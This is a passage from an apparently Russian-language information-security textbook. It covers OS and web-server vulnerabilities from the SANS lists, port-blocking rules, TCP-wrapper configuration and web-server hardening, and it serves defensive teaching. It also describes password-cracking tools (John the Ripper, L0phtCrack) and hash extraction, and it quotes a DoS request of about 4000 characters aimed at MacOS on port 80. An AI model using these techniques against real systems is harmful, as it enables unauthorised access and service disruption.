Средства защиты, встроенные в ОС, занимают особое место. Их основной задачей является зашита информации, определяющей конфигурацию системы. Так как эти ресурсы находятся на системном уровне, то здесь и будут собраны основные встроенные средства защиты информации. В случае некоторых ОС, например Unix и Solaris, встроенные средства защиты продвинуты на сетевой уровень, а в общем наборе решений, предоставляемых для интранета, присутствуют также инструменты безопасности внешнего уровня. Кроме того, некоторые компоненты в составе ОС, не являясь средствами защиты в классическом смысле, тем не менее существенны. С точки зрения защиты ресурсов самой ОС Solaris, например, предоставляет полный набор средств, решающих задачи защиты. Отличительная особенность ОС Solaris -наличие встроенных средств контроля системных ресурсов (ASET) и средств системного аудита. Кроме того, некоторые сетевые ресурсы, управляемые ОС Solaris, наряду с функционально полезными сервисами, также имеют встроенные средства защиты. В то же время при построении реальной ИС встроенных средств может оказаться недостаточно вследствие, например, неоднородности конфигурации или использования небезопасных сервисов, особенно сетевых.
3. Уязвимость открытых систем на примере интранета
159
Для защиты информационных ресурсов ОС предусмотрено использование следующих основных средств:
	механизмов аутентификации/авторизации;
	механизмов разграничения доступа;
	механизмов мониторинга и аудита;
	криптографических компонентов.
При сравнении этих средств защиты, например, с СУБД, видно, что первые три одинаковы для этих систем и лишь четвертое средство характерно только для ОС, так как оно предназначено для шифрования особо важной системной информации о ее конфигурации.
Специфические риски для ОС можно подразделить на две группы:
1) риски, связанные с неправильной конфигурацией системы и чаще всего возникающие вследствие ошибок или недостаточных навыков ее администратора;
2) риски, связанные с ошибками в ПО (особенно характерно при установке в систему несколько устаревших версий ПО, в которых уже были обнаружены определенные ошибки и о которых публично сообщалось в различных специализированных компьютерных изданиях и на хакерских узлах).
Фирма mi2g [http://www.mi2g.com] провела исследование подверженности ОС общеизвестным уязвимостям и хакерским атакам. Выяснилось, что лидирует здесь Microsoft Windows (подвержена 44 % известных уязвимостей), далее следуют Linux (19 %), BSD (9 %), Sun Solaris (7 %). Compaq Tru64 и Mac OS набрали no 1,9 %, SCO Unix - всего 0,5 %. Из проанализированных mi2g 57 977 хакерских атак 54 % пришлись на Windows, 30 - на Linux, 6 - на BSD и 5 % - на Solaris. Надо отметить, что такое процентное соотношение отражает и распространенность этих ОС.
Еще один интересный факт: по данным исследователей университета Carnegie-Mellon, на 1000 строк кода приходится от 5 до 15 ошибок. Таким образом, можно подсчитать, сколько ошибок потенциально содержит ОС: Windows 2000 - 35-60 млн. строк кода, Windows ХР - 45 млн., Debian GNU/Linux 2.2 - 55 млн. и Linux Red Hat -30 млн.
Хотя все ОС и имеют свои собственные уязвимости, эксперты в области информационной безопасности (институт SANS [http://www.sans.org]) выделяют семь типичных уязвимостей любой ОС. Кратко охарактеризуем их.
I. Установки по умолчанию ОС и приложений. При типовой установке появляется больше сервисов, чем их нужно рядовым пользователям. При этом для ОС происходит установка по умолчанию дополнительных сервисов и соответствующих им открытых портов, через которые атакующий может попасть в систему, а для приложений - установка по умолчанию ненужных программных модулей и скриптов. За этими сервисами и модулями пользователи обычно не следят, и соответственно, не устанавливают для них "заплаток" (patches, патчей), устраняющих уязвимости.
Выявление. Сканеры портов и уязвимостей.
Защита. Удалить все ненужное ПО, отключить ненужные сервисы и закрыть соответствующие порты.
П. Учетные записи без паролей или со слабыми паролями. В системе есть легко подбираемые пароли, встроенные пароли, пароли по умолчанию или учетные записи без паролей.
160
Информационная безопасность открытых систем
Выявление.
1.	Аудит учетных записей (УЗ) и ведение мастер-листа. Проверка паролей на маршрутизаторах, подключенных к Интернету принтерах, копирах и контроллерах.
2.	Разработка процедур добавления-удаления авторизированных УЗ в мастер-лист.
3.	Регулярные проверки мастер-листа.
4.	Запуск средств для взлома паролей типа LC4 (или более современная программа LC5) & Microsoft Personal Security Advisor - Microsoft Windows NT/2000, John the Ripper - Unix, Pandora - Novell.
John the Ripper ("Джек Потрошитель"), возможно, наиболее универсальный из доступных инструментов, предназначенных для взлома паролей. Программа поддерживает шесть разных схем хеширования паролей для Unix и Windows LanMan (используется в NT, 2000 и ХР). Она может использовать специализированный список слов или правил для паролей, основанных на типах символов и их местоположении. Программа работает под управлением 13 различных ОС и поддерживает разные процессоры, включая специальные ускорители для Pentium и RISC-процессоров (для примера можно привести следующее сравнение: FreeBSD MD5 и NT LM DES - количество взломов в секунду отличается для этих двух методов в 200 раз). Воспринимается три различных формата паролей. На самом деле можно взломать любой пароль, описанный в справке (выводится по параметру test), - для этого потребуется переформатировать пароль в вид, обрабатываемый программой. Все вскрытые пароли сохраняются в файле john.pot, представляющем собой текстовый файл, который может пополняться в соответствии с увеличением количества взломанных паролей. Слабые пароли, независимо от схемы шифрования, могут быть вскрыты за время от нескольких минут до одного дня. Сложные пароли могут потребовать недели или месяцы (для ускорения используются подробные файлы словарей с иностранными словами, именами, названиями спортивных команд, научно-фантастическими символами, специфические комбинации из двух и более символов для пароля или распределенная обработка на нескольких компьютерах). Словарь по умолчанию с наиболее часто встречающимися паролями содержится в файле password. 1st. Также можно делать некоторые перестановки в словаре, используя параметр "rules" (правила - это хороший способ повысить производительность подбора паролей). Программа также реализует подбор пароля методом полного перебора (метод "грубой силы"). Переключение в этот режим осуществляется по умолчанию, если в командной строке не задано никаких параметров.
Одно время ОС Windows казалась более привлекательной с точки зрения безопасности паролей, чем Unix. В ней хранится две версии пользовательского пароля. Первая версия называется LanMan (LM), хеш. Вторая версия - это NT-хеш, шифруемый с использованием односторонней функции MD5. Строка LanMan также шифруется, но перед этим пароль разбивается на две части. Пароли в LanMan представлены в шестнадцатеричной записи и содержат 16 байт данных. Последние 8 байт одинаковы для всех паролей длиной более восьми символов. Эта ошибка возникает вследствие того, что содержимое пароля составляет более восьми символов и показывает, что при генерации второй половины шифрованной строки не используется никакой информации о первой половине. Можно сказать, что пароль шифруется на основе двух независимых наборов символов (по 7 каждый). В результате большой пароль из 14 сим
3. Уязвимость открытых систем на примере интранета	161
волов превращается в два коротких по 7 символов. Также LanMan при шифровании игнорирует регистр символов, что резко сокращает время, затрачиваемое на взлом пароля перебором.
LOphtCrack (кратко LC) - это инструмент для взлома паролей с развитым графическим интерфейсом для Windows NT/2000/XP. Попытка "стащить" пароль у Unix-системы обычно требует доступа к файлам /etc/passwd и /etc/shadow (так называемый теневой файл паролей). И тот и другой представляют собой легко читаемый текст. Windows хранит пароли в Security Accounts Manager (SAM) - двоичном файле, который тяжело прочитать без специальных ухищрений. LC не только подбирает пароли: он может извлекать шифрованные строки паролей из SAM-файла локальной или удаленной системы и перехватывать пароли, когда они передаются по сети. Скорость взлома пароля у LC удовлетворительная, но не сравнится с John the Ripper. При этом программа не имеет возможности гибкого изменения правил.
5.	Наличие корректных процедур удаления УЗ.
Защита.
1.	Всем УЗ без паролей дается пароль, или они удаляются, слабые пароли пересматриваются.
2.	Проверка паролей пользователей после замены, например программами, которые запрещают пароли, не соответствующие ПБ:
	Unix: Npasswd (http://www.utexas.edu/cc/unix/software/npasswd/) (SunOS 4/5, Digital Unix, HP/UX, AIX);
	Linux: Cracklib (http://www.users.dircon.co.uk/~crypto/download/) и РАМ-модули;
	Windows NT: Passfilt;
	Windows 2000 c Group Policy;
	Secure Remote Password - механизм для выполнения безопасной аутентификации с помощью пароля и обмена ключами в сети любого типа (http://www-cs-students. Stanford, edu/ ~tj w/ srp/);
	OpenSSH (http: //www.openssh.org/).
3.	Обучение пользователей.
4.	Альтернативные формы аутентификации (например, смарт-карты, биометрия).
III.	Незаконченные или устаревшие копии (Backups). В системе есть неактуальные, непроверенные копии. Отсутствуют политики и процедуры восстановления. Недолжным образом осуществляется физическое хранение копий.
Выявление. Инвентаризация всех важных копий. Анализ рисков и соответствующих угроз для важных копий.
Защита. Еженедельное полное копирование и ежедневное частичное копирование. Хотя бы раз в месяц проверка возможности восстановления информации с копий на специальный тестовый сервер.
IV.	Большое число открытых портов. Порты протоколов ТРС и UDP определены в RFC793 и RFC768 соответственно.
Открытыми должны быть только необходимые порты. Все остальные порты должны быть закрыты.
Выявление. Сканирование всех портов TCP и UDP во всем диапазоне 1-65535. Запуск локально netstat. Запуск внешних сканеров портов типа nmap (для Unix -http://www.insecure.org/nmap/, для NT — http://www.eeye.com/html/Research/Tools/ nmapnt.html), который подробно рассмотрен в гл. 4.
6—2368
162
Информационная безопасность открытых систем
Защита. Определить минимальный набор открытых портов. Закрыть остальные. Отключить/удалить соответствующие сервисы.
Unix - inetd; Isof.
Windows NT/2000 - fport.
Windows XP — netstat с параметром -о.
Для зашиты периметра закрыть следующие порты:
Login-сервисы - telnet (23/tcp), SSH (22/tcp), FTP (21/tcp), NetBIOS (139/tcp), rlogin и т. д. (512—514/tcp).
RPC и NFS - Portmap/rpcbind (111/tcp и udp), NFS (2049/tcp и udp), lockd (4045/tcp и udp).
NetBIOS в Windows NT - 135 (tcp и udp), 137-139 (udp), Windows 2000 - предшествующие порты + 445 (tcp и udp).
X Window - 6000-6255/tcp.
Naming services — DNS (53/udp) для всех компьютеров, которые не являются DNS-серверами, DNS zone transfers (53/tcp), кроме внешних secondaries, LDAP (389/tcp и udp).
Mail - SMTP (25/tcp) для всех компьютеров, которые не являются внешними mail relays, POP (109 и 110/tcp), IMAP (143/tcp).
Веб - HTTP (80/tcp) и SSL (443/tcp) кроме внешних веб-серверов, можно закрыть и НТТР-порты 8000, 8080, 8888/tcp, и т. п.
"Small Services''-порты ниже 20/tcp и udp, time (37/tcp и udp).
TFTP (69/udp), finger (79/tcp), NNTP (119/tcp), NTP (123/udp), LPD (515/tcp), syslog (514/udp), SNMP (161 /tcp и udp, 162/tcp и udp), BGP (179/tcp), SOCKS (1080/tcp).
ICMP - блокировать входящие эхо-запросы (ping и Windows traceroute), исходящие эхо-ответы, сообщения time exceeded и destination unreachable, кроме "packet too big".
Блокировать адреса, типичные для спуффинга (от англ, spoofing).
Блокировать пакеты с набором опций для IP.
Использовать TCP-оболочку (tcpd) и xinetd [http://www.synack.net/xinetd/] для избирательного применения списков управления доступом на уровне служб (для кото-роых это возможно) и регистрировать все события.
V.	Нет фильтрации пакетов на корректность входящего и исходящего адресов. Вследствие этого злоумышленник может применить спуффинг как средство скрытия своего настоящего IP-адреса.
Выявление. Послать спуффинг-пакет и посмотреть, блокирует ли их МЭ или маршрутизатор. Устройство должно создать запись в журнале регистрации с указанием, что такой пакет был блокирован. Проверить работу системы при большом трафике, иначе возможны DoS-атаки. Использовать программы типа nmap для проверки работы системы. Часто проверять систему.
Защита. Правила фильтрации на внешнем маршрутизаторе/МЭ.
1.	Любой входящий пакет не должен иметь адрес источника из списка внутренних адресов и должен иметь адрес назначения внутренней сети.
2.	Любой исходящий пакет должен иметь внутренний адрес как адрес источника и не должен иметь его адресом назначения.
3. Уязвимость открытых систем на примере интранета
163
3.	Любой исходящий или входящий пакет не должен иметь адресом источника или назначения частный адрес или адрес из зарезервированного списка RFC1918 (Ю.х.х.х/8, 172.16.х.х/12 или 192.168.х.х/16 и 127.0.0.0/8).
4.	Блокировать пакеты с набором опций для IP.
5.	Блокировать 0.0.0.0/8; 169.254.0.0/16; 192.0.2.0/24; 224.0.0.0/4; 240.0.0.0/4.
Кроме того, рекомендуется использовать фильтрацию пакетов на уровне ядра, поддержка которой уже стала стандартной для большинства бесплатных ОС Unix (например, ipchains или netfilter для Linux, ipf для BSD).
VI.	Несуществующий или неполный вход в систему. В журналах регистрации (лог-файлах) отражаются не все события в системе. Приходится выбирать между полной переустановкой ОС или риском работать в системе, полностью контролируемой атакуемым.
Выявление. Анализ лог-файлов для всех важных систем.
Защита. Анализ лог-файлов на регулярной основе для всех ключевых систем, а логи должны архивироваться и копироваться. Отправка логов на центральный лог-сервер с неперезаписываемой средой (только так атакующий не подменит лог-файлы и не избежит обнаружения).
VII.	Уязвимость CGI-скриптов. Многие веб-серверы поддерживают скрипты Common Gateway Interface (CGI), обеспечивающие интерактивность на веб-страницах и позволяющие собирать данные и проверять их.
Выявление. Уязвимые скрипты CG1 очень легко выявить и далее получить соответствующие привилегии при работе с веб-сервером.
Защита. Запуск сканера уязвимостей в отношении узла типа CGI scanner Whisker [http://www.wiretrip.net/rfp/] или XSpider.
1.	Удалить все ненужные CGI-скрипты с важных веб-серверов.
2.	Аудит остальных и удаление незащищенных CGI скриптов с других вебсерверов.
3.	Убедиться, что программисты CG1 придерживаются политики безопасности и проверяют длину входящих буферов в CGI-скриптах.
4.	Применять патчи ("заплатки") для известных уязвимостей тех скриптов, которые нельзя удалить.
5.	Проверить, не включает ли CGI-директория любые компиляторы или интерпретаторы.
6.	Удалить скрипт view-source из cgi-bin-директории.
7.	Не запускать веб-серверы с привилегиями администратора или root.
8.	Не конфигурировать поддержку CG1 на веб-серверах, где она не нужна.
После описания типичных уязвимостей можно было бы остановиться на уязвимостях отдельных ОС. Ограничимся лишь недостатками ОС Unix, покольку до сих пор системные администраторы предпочитают ее различным платформам.
Имеется ряд свойственных ОС Unix недостатков, которые часто способствуют атакам. Главная проблема связана с уязвимостью системы управления доступом, где пользователь root наделен административными правами, которые и пытается получить злоумышленник.
Укажем четыре основные причины, которые характеризуют уязвимость ОС Unix (рис. 29) [44]. Во-первых, это демоны, содержащие ошибки. Во-вторых, уязвимости
164	Информационная безопасность открытых систем
SUID/SGID-процессов. В-третьих, излишнее доверие некоторым пользователям. И наконец, в-четвертых, проблемы, связанные с человеческим фактором и выражающиеся в использовании легкоподбираемых паролей и ошибках администрирования системы.
Рис. 29. Причины уязвимости ОС Unix
Для первых двух причин можно выделить три подкатегории:
I)	возникновение различных непредусмотренных ситуаций типа переполнения буфера, неверной обработки сигналов или прерываний, ввода непредусмотренных сходных данных;
2)	наличие "люков" (незадокументированных возможностей) в демонах и процессах;
3)	подмена данных или файлов программами, специальных управляющих переменных или файлов через ссылки и относительные пути.
Также кратко охарактеризуем и семь типичных уязвимостей Unix (в соответствии с видением института SANS). Оговоримся, что ряд из них будет подробнее рассмотрен далее в данной главе учебника.
I. Переполнение буфера в сервисах RPC. Удаленный вызов процедур позволяет выполнять программы с одного компьютера на другом компьютере. Используются для доступа к сетевым сервисам типа NFS и NIS. Выявлено множество уязвимостей.
Выявление. Проверьте, не используется ли три самых уязвимых сервиса RPC: rpc.ttdbserverd; rpc.cmsd; rpc.statd. Чаще всего проблемы связаны с переполнением буфера.
Защита.
1.	Где возможно отключить/удалить эти сервисы для компьютеров, непосредственно подсоединенных к Интернету.
2.	Не забывать о патчах для ОС.
3.	Блокировать RPC-порт (111) на пограничном маршрутизаторе или МЭ.
3. Уязвимость открытых систем на примере интранета
165
4.	Блокировать порты RPC "loopback" 32770-32789 (TCP & UDP).
II. Уязвимость sendmail. Sendmail - это программа, посылающая, получающая и перенаправляющая почту. Атакующий может на свой компьютер получить в ответ на соответствующий запрос файл с паролями и взломать его.
Выявление. Проверка версии sendmail.
Защита.
1. Sendmail регулярно обновлять и ставить "заплатки".
2. Не запускать sendmail в режиме демона (отключить параметр -bd) на компьютерах, которые не являются mail-серверами или mail relays.
III. Слабости BIND. Пакет Berkeley Internet Name Domain (BIND) - распространенный сервис Domain Name System (DNS). Атакующий уничтожает лог и устанавливает средства, обеспечивающие ему административные права. Далее ставятся сканеры и утилиты для удаленного управления. Потом система может стать промежуточным звеном в следующих атаках. Также возможны проблемы с переполнением буфера.
Выявление. Запуск сканера уязвимостей, проверка версии BIND или ручная проверка файлов.
Защита.
1.	Запретить BIND name daemon ("named") на неавторизированных DNS-серверах.
2.	Авторизированные DNS-серверы обновлять до последних версий и устанавливать патчи.
3.	Запускать BIND в режиме непривилегированного пользователя. (Переконфигурировать BIND для смены user-id после связи с портом.)
4.	Запускать BIND в chroot-режиме, т. е. в изолированном собственном окружении с определенными серверными подсистемами, известными как chroot jails.
5.	Запретить замену зон, кроме замены с авторизированных хостов.
6.	Запретить рекурсии и склейку (против атак на DNS cache).
7.	Спрятать строку с версией.
IV. R-команды. Эти команды позволяют получать УД доверяющим друг другу компьютерам без пароля. Основа - доверенные IP-адреса. Если атакующий получит доступ к любому компьютеру из доверенной сети, он получит доступ ко всем машинам, доверенным по отношению к взломанной.
Выявление. Доверенные отношения устанавливаются конфигурированием файлов /etc/hosts.equiv и —/.rhosts. Их нужно проверять.
Защита. Не разрешать доверенные отношения на основе IP. Аутентификация на основе токенов или хотя бы паролей. Ограничивать доступ. Никогда не разрешать файл .rhosts в УЗ root. Использовать команду find регулярно для обнаружения .rhosts, которые могут появиться в других УЗ.
V. LPD (remote print protocol daemon). Демон in.lpd поддерживает сервис обращения пользователей к локальному принтеру. Была ошибка, позволяющая передавать печать с одной машины на другую. И проблема переполнения буфера.
Выявление. Запуск сканера уязвимостей или ручная проверка используемого LPD и его версии.
Защита.
1.	Запретить сервис в /etc/inetd.conf, если не обязательна.
2.	Разрешить noexec user stack, настраиваемый добавлением следующих строк в файл /etc/system и перезагрузиться:
set noexec_user_stack = 1
166
Информационная безопасность открытых систем
set noexec_user_stack_log = 1
3.	Блокировать доступ к сети через порт 515/tcp.
4.	Применить патч.
5.	Использовать TCP-tcpwrappers [http://www.sun.eom/solaris/freeware.html#cd].
VI	. Утилиты sadmind и mountd. Sadmind дает удаленный административный доступ к Solaris-системам. Mountd контролирует доступ к NFS на Unix-хостах. Переполнение буфера позволит атакующим получить права root.
Выявление. Запуск сканеров уязвимостей.
Защита.
1.	Где возможно отключить/удалить sadmind и mountd на компьютерах, подключенных непосредственно к Интернету.
2.	Установить патчи для ОС.
3.	Использовать экспортные связи на основе host/ip.
4.	Установить системы экспорта файлов в режим read-only/no suid, где возможно.
5.	Использовать nfsbug для поиска уязвимостей [http://www.cert.org/ advisories/CA-99-16-sadmind.html, http://www.cert.org/advisories/CA-98.12. mountd.html].
VII. Строки SNMP по умолчанию. Протокол Simple Network Management Protocol (SNMP) используется для мониторинга и администрирования всех сетевых устройств. Основные уязвимости третьей версии этого протокола и методы их устранения перечислены ниже.
1.	Раскрытие информации через отслеживание обмена данными между агентами и управляющей станцией с целью сбора данных устраняется применением шифрования.
2.	"Маскарад" устраняется проверкой происхождения пакетов.
3.	Модификации посредством посылки сообщений для фиктивных операций и в потоке сообщений устраняются проверкой целостности при помощи MD5.
4.	Анализ сетевого трафика - пока не устранен.
5.	Отказ в обслуживании - пока не устранен.
SNMP использует незашифрованную строку "community string" для аутентификации (по умолчанию "public" или "private"). Это позволяет реконфигуриро-вать/отключать устройства удаленно и слушать SNMP-трафик. При работе SNMP используются статистические данные о работе сети и другая информация, включая маршрутизацию. Стандарты (типа RFC 1352, 1446, 1472, 1910) определяют сервисы и механизмы безопасности при передаче управляющей информации, доступе к БД управляющей информации и управляющим обьектам. Сервисами безопасности для SNMP на прикладном уровне являются средства обеспечения конфиденциальности и целостности без установления соединения, аутентификация происхождения данных и контроль доступа. Частично приложения Интернета ориентируются на протоколы управления телекоммуникационными сетями Х.700 с хорошо определенными сервисами безопасности и мерами защиты.
Выявление. Проверить конфигурационный файл на уязвимости: по умолча-нию/пусто/легко подбираемая/скрытая строка.
Защита.
1.	Если SNMP не нужен, запретить его.
2.	Разработать политику для строк как для паролей.
3.	Провести проверку на основе средств snmpwalk и snmpsniff.
3. Уязвимость открытых систем на примере интранета
167
4.	Осуществлять фильтрацию SNMP (порт 161/UDP) на пограничных маршрутизаторах и МЭ.
5.	Где возможно, сделать базы управления информацией (Management Information Base, MIB) открытыми только на чтение.
Для ОС требуется регулярная проверка с целью обнаружения всех несанкционированных изменений и наличия уязвимостей. Это можно осуществлять вручную или с помощью автоматизированных систем анализа защищенности, такие, как широко известный сканер компании Internet Security Systems [http://www.iss.net]. В зависимости от ОС, применяемых в интранете, нужно подобрать соответствующие хорошо зарекомендовавшие себя системы, способные реально помочь администраторам сетей в их сложной повседневной работе.
Согласно исследованиям организации SANS десятью самыми типичными уязвимостями 2003—2004 гг., упорядоченными по снижению частоты их встречаемости в действующих интранетах, для ОС Unix были следующие:
2003 г.
	BIND Domain Name System;
	Remote Procedure Calls (RPC);
•	Apache Web Server;
	General Unix Authentication Accounts with No Passwords or Weak Passwords;
•	Clear Text Services;
	Sendmail;
	Simple Network Management Protocol (SNMP);
•	Secure Shell (SSH);
•	Misconfiguration of Enterprise Services NIS/NFS;
	Open Secure Sockets Layer (SSL)
2004 r.
•	BIND Domain Name System;
	Web Server;
•	Authentication;
	Version Control Systems;
	Mail Transport Service;
•	Simple Network Management Protocol (SNMP);
	Open Secure Sockets Layer (SSL);
	Misconfiguration of Enterprise Services NIS/NFS;
	Databases;
	Kernel
Аналогично для ОС Windows SANS выделяет несколько иные типичные уязвимо-
сти, основанные на особенностях этой системы:
	Internet Information Services (IIS);
	Microsoft SQL Server (MSSQL);
	Windows Authentication;
	Internet Explorer (IE);
•	Windows Remote Access Services;
	Microsoft Data Access Components (MDAC);
•	Windows Scripting Host (WSH);
	Microsoft Outlook and Outlook Express;
•	Windows Peer to Peer File Sharing (P2P);
•	Simple Network Management Protocol (SNMP)
Web Servers & Services;
Workstation Service;
Windows Remote Access Services;
Microsoft SQL Server (MSSQL);
Windows Authentication;
Web Browsers;
File-Sharing Applications;
LSAS Exposures;
Mail Client;
Instant Messaging
168	Информационная безопасность открытых систем
Сознавая потребность в более защищенных ОС, производители систем стали предлагать так называемые доверенные версии ОС (Trusted OS). В настоящее время существует ряд коммерческих производителей таких систем. Argus Systems Group, Inc. производит PitBull.comPack suite для Solaris 7. Готовятся версии для Solaris 8, AIX, UnixWare и Linux для 32- и 64-битовых архитектур. Hewlett Packard, занимающая лидирующую позицию на рынке доверенных ОС, предлагает VVOS (Virtual Vault OS), которая функционирует на аппаратном обеспечении HP [http://www. jetinfo.ru/2001/7/1/ articlel.7.200156.html]. Эта ОС является специальной версией ОС HP UX, соответствующей максимально возможному для коммерческих продуктов уровню безопасности В1 "Оранжевой книги".
Компьютеры Macintosh фирмы Apple [http://www.apple.com] имеют построенную на открытых стандартах базовую ОС и содержат встроенный Х-сервер. ОС этих компьютеров обеспечивает высочайшую производительность и надежность, необходимую для работы в Интернете, издательской деятельности и критически важных серверных приложений. Macintosh используются в качестве мощных Интернет-серверов, серверов рабочих групп и систем для конечных пользователей. Считается, что MacOS является более защищенной, чем Windows и Unix, поскольку поддерживает лишь небольшое число сервисов, которые могут быть использованы нарушителями. Как результат, MacOS занимает последние места в списке потенциально уязвимых ОС и в Интернете представлено крайне мало информации о ее взломам. Но все же в уже названном журнале Bugtrag присутствуют описания отдельных ее проблем. Например, используя недостатки защиты, можно осуществить удаленную DoS-атаку на все версии ОС. Атака использует веб-функции компьютеров Macintosh, в результате чего злоумышленник получает управление конфигурацией. Это можно реализовать отправкой сообщения "GET аааа[...х4000...]аааа НТТР/1.0" на порт 80, завершаемого двойным нажатием клавиши Enter. Еще одну УА можно осуществить с использованием SYN-пакетов, что приводит к полной блокировке всех соединений до тех пор, пока не будет произведен их внутренний сброс.
3.3.3. Уязвимость серверов
В архитектуре клиент-сервер для совместного использования информации рабочие станции служащих связываются с серверами.
Основная функция веб-сервера (обязательного сервера для интранета) это предоставление запрошенного браузером файла с сервера по сети с помощью протокола HTTP, при этом для корректного отображения клиентом документа сервер должен быть в состоянии выполнить дополнительные программы, установленные на нем самом и, проанализировав содержимое посылаемого файла, изменить его в соответствии с определенными правилами. Клиентское интерфейсное ПО представляет собой совокупность гипертекста и средств навигации по нему. Наиболее часто применяется язык разметки гипертекста HTML, который представляет собой высокоэффективное наращиваемое средство создания интерактивных документов, содержащих в себе как информацию, так и средства ее обновления. Серверное ПО предназначено для динамической генерации клиентского ПО на основании информации из БД, конфигурационных файлов, результатов выполнения программ на сервере. Создание ПО такого рода позволяет без повторных затрат на разработку всего комплекса поддерживать веб-сайты в состоянии up to date.
3. Уязвимость открытых систем на примере интранета
169
Первой мишенью злоумышленника становится именно веб-сервер, который часто ассоциируется с "концентратором" всей хранимой в сети информации. Если ему удается получить НСД к такому серверу, то реализовать остальное для него не представляет особого труда. Публичные веб-серверы продолжают оставаться объектами атак хакеров, которые хотят с помощью этих атак нанести урон репутации организации или добиться каких-либо политических целей. От атак подобного рода возможен различный ущерб - от простого блокирования работы сервера до замены его содержимого порнографическим материалом, политическими лозунгами или удаления групп файлов, а также размещения на сервере программ-"троянских коней". Из-за уязвимостей веб-серверов злоумышленники могут получить над ними полный контроль, как локально, так и удаленно. Очень часто уязвимости веб-серверов могут быть задействованы для проведения атак "отказ в обслуживании" путем отправки некорректного запроса серверу. Специально составленный запрос может привести к сбою дочернего процесса сервера. В лучшем (для владельца веб-сервера) случае, родительский процесс заменит прекративший работу процесс, а создание новых дочерних процессов потребует всех ресурсов системы. Сбой и замена дочернего процесса приведет к довольно длительному перебою в работе веб-сервера.
В качестве платформ для веб-серверов используются различные ОС. Как показывает практика, все они уязвимы для атак. По статистике 2001 г. о взломанных вебсерверах, собранной группой энтузиастов Интернета, число атак на Windows существенно превышает атаки на другие ОС (табл. 2).
Таблица 2. Операционные системы взломанных веб-серверов
Операционная система	Число взломанных веб-серверов, %
Windows	65,66
Linux	16,27
Solaris	3,29
FreeBSD	1,94
IRIX	1,43
BSDI	1,07
SCO	0,39
AIX	0,36
NetBSD	0,11
Tru64 Unix	0,05
HP ux	0,04
Digital Unix	0,04
MacOS	0,03
OpenBSD	0,03
Novell	0,01
Ultrix	0,001
Веб-серверы обычно подвергаются атакам нарушителей, желающих получить доступ к интранету. МЭ, защищающие эти серверы, могут быть неправильно сконфигурированы, что позволит атакующему войти в интранет через взломанный вебсервер. Для разрешения связи с портами telnet и ftp только доверенным пользователям хорошо зарекомендовала себя практика защиты веб-серверов и установка программ-оболочек сервисов TCP-wrappers (чаще для Unix-платформ, но есть версии и под Windows). Принцип действия оболочек следующий: при поступлении запроса на соединение с каким-либо сетевым сервисом на хосте запускается не демон, обслужи
170
Информационная безопасность открытых систем
вающий этот сервис, а программа-оболочка, которая проверяет, разрешен ли сеанс с удаленным хостом, запросившим соединение, и в случае положительного результата запускает сам требуемый демон. Для запуска оболочек сервисов следует модифицировать файл inetd.conf так, чтобы при обращении на порты указанных сервисов вместо стандартного демона запускался демон оболочки, а в качестве параметра ему передавался путь к стандартному демону. Например, пусть демон оболочки /usr/sbin /tcpd контролирует доступ к сервису finger. Соответствующая строка в /etc/inetd.conf выглядит так:
finger stream tcp nowait nobody /usr/sbin/tcpd in.fingerd
Списки доступа, которыми пользуется демон оболочки, содержатся в файлах /etc/hosts.allow, /etc/hosts.deny. При попытке соединения адрес хоста ищется сначала в файле hosts.allow. Если он найден, то соединение разрешается, иначе производится поиск в hosts.deny. В случае успешного поиска соединение запрещается, в противном случае оно разрешается. Формат файлов hosts.allow и hosts.deny одинаков, строка в файле имеет такой вид: services:hosts[:action], где action - действие, выполняемое в случае совпадения адреса хоста и требуемого сервиса с данной строкой (например, послать сообщение администратору). Поле action может отсутствовать. Допускается выражение операторы ALL и EXCEPT. Пример: hosts.allow
telnetd:194.84.124.0/255.255.255.0,193.124.169.58
ftpd:ALL EXCEPT 1.0.0.0/255.0.0.0 hosts.deny
ALLALL [перекрыть доступ снаружи на узловую машину].
Открыть доступ на узловую машину с машин интранета можно так: hosts.allow ALL: 127.0.0.1
ALL: 195.0.1.0/255.255.255.0.
Самой частой целью атакующих становится 80-й порт, отвечающий по умолчанию за сервис HTTP, и, как следствие, веб-сервер. Вторым по распространенности следует 21-й (FTP) порт. Затем следуют 25-й порт (SMTP), 53-й (DNS), 111-й (SunRPC), 113-й (auth) и 139-й (netbios-ssn) порты.
Можно сформулировать ряд полезных рекомендаций по обеспечению защиты веб-сервера (по материалам бюллетеня CIAC J-042).
1.	Разместить веб-сервер в ДМ3. Сконфигурировать МЭ таким образом, чтобы он блокировал входящие соединения с веб-сервером со всеми портами, кроме http (порт 80) или https (порт 443).
2.	Удалить все ненужные сервисы с веб-сервера, оставив FTP (но только, если он нужен на самом деле) и средство безопасного подключения в режиме удаленного терминала, такое, как SSH. Любой ненужный, но оставленный сервис может стать помощником хакера при организации им атаки.
3.	Отключить все средства удаленного администрирования, если они не используют шифрования всех данных сеансов или одноразовые пароли.
4.	Ограничить число людей, имеющих полномочия администратора или суперпользователя (root).
3. Уязвимость открытых систем на примере интранета
171
5.	Протоколировать все действия пользователей и хранить системные журналы либо в зашифрованной форме на веб-сервере, либо на другом компьютере в интранете.
6.	Производить регулярные проверки системных журналов на предмет выявления подозрительной активности. Установить несколько программ-ловушек для обнаружения фактов атак на сервер (например, ловушку для выявления PHF-атаки). Использовать программы, которые запускаются примерно каждый час и проверяют целостность файла паролей и других критических файлов. Если такая программа обнаружит изменения в контролируемых файлах, она должна послать письмо системному администратору.
7.	Удалить все ненужные файлы, такие, как phf, из директорий, откуда могут запускаться скрипты (например, из /cgi-bin).
8.	Удалить все стандартные директории с документами, которые поставляются с веб-серверами, такими, как IIS и ExAir.
9.	Устанавливать все необходимые исправления программ на веб-сервере, касающиеся безопасности, как только о них становится известно.
10.	Если используется графический интерфейс на консоли администратора вебсервера, удалить команды, которые автоматически запускают его с помощью информации в RC-поддиректориях, и вместо этого создать команду для его ручного запуска. Затем можно при необходимости использовать графический интерфейс, но закрывать его сразу же после того, как произведены необходимые действия. Не оставлять графический интерфейс работающим продолжительный период времени.
11.	Если компьютер должен администрироваться удаленно, использовать программы, устанавливающие защищенное соединение с веб-сервером (например, SSH). Не позволять устанавливать с веб-сервером Telnet-соединения или неанонимные ftp-соединения (т. е. те, которые требуют ввода имени и пароля) с недоверенных машин. Лучше предоставить возможность установления таких соединений лишь небольшому числу защищенных машин, которые находятся в интранете.
12.	Запускать веб-сервер в chroot-режиме или в режиме изолированной директории (в этом режиме эта директория кажется корневой директорией файловой системы, и доступ к директориям файловой системы вне ее невозможен), чтобы нельзя было получить доступ к системным файлам.
13.	Использовать анонимный FTP-сервер при необходимости в режиме изолированной директории, отличной от корневой для файлов веб-сервера.
